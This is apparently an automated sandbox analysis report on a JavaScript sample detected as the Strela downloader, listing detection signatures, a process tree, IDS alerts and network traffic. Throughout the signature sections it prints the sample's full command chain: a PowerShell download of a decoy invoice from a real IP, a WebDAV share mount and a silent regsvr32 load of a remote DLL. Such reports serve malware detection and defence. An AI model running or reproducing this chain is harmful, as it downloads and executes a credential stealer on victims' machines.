Edit tour

Windows Analysis Report
390712401072120127.js

Overview

General Information

Sample name:	390712401072120127.js
Analysis ID:	1587925
MD5:	349cfddd48131dc477bcb8cc48de9dfd
SHA1:	6b1e2b478c80b9eb720081b7fd38d41d2b44f0df
SHA256:	8b8704160616dabbe725b260fa3856d554297eb035c8e36da6a07af6259de5c1
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7520 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7616 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7684 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7844 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8076 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7288 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1660,i,3270865827479625269,14063271635695022371,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7860 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7948 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8140 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7520	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7684, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7684, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", ProcessId: 7520, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7948, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 7616, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 7616, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 7616, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 7616, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 7616, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", ProcessId: 7520, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7616, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7684, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7860, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7948, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8140, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7860, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7948, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 7616, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:28:19.971939+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:28:17.690182+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 390712401072120127.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 390712401072120127.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:28:17 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.8:65078 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

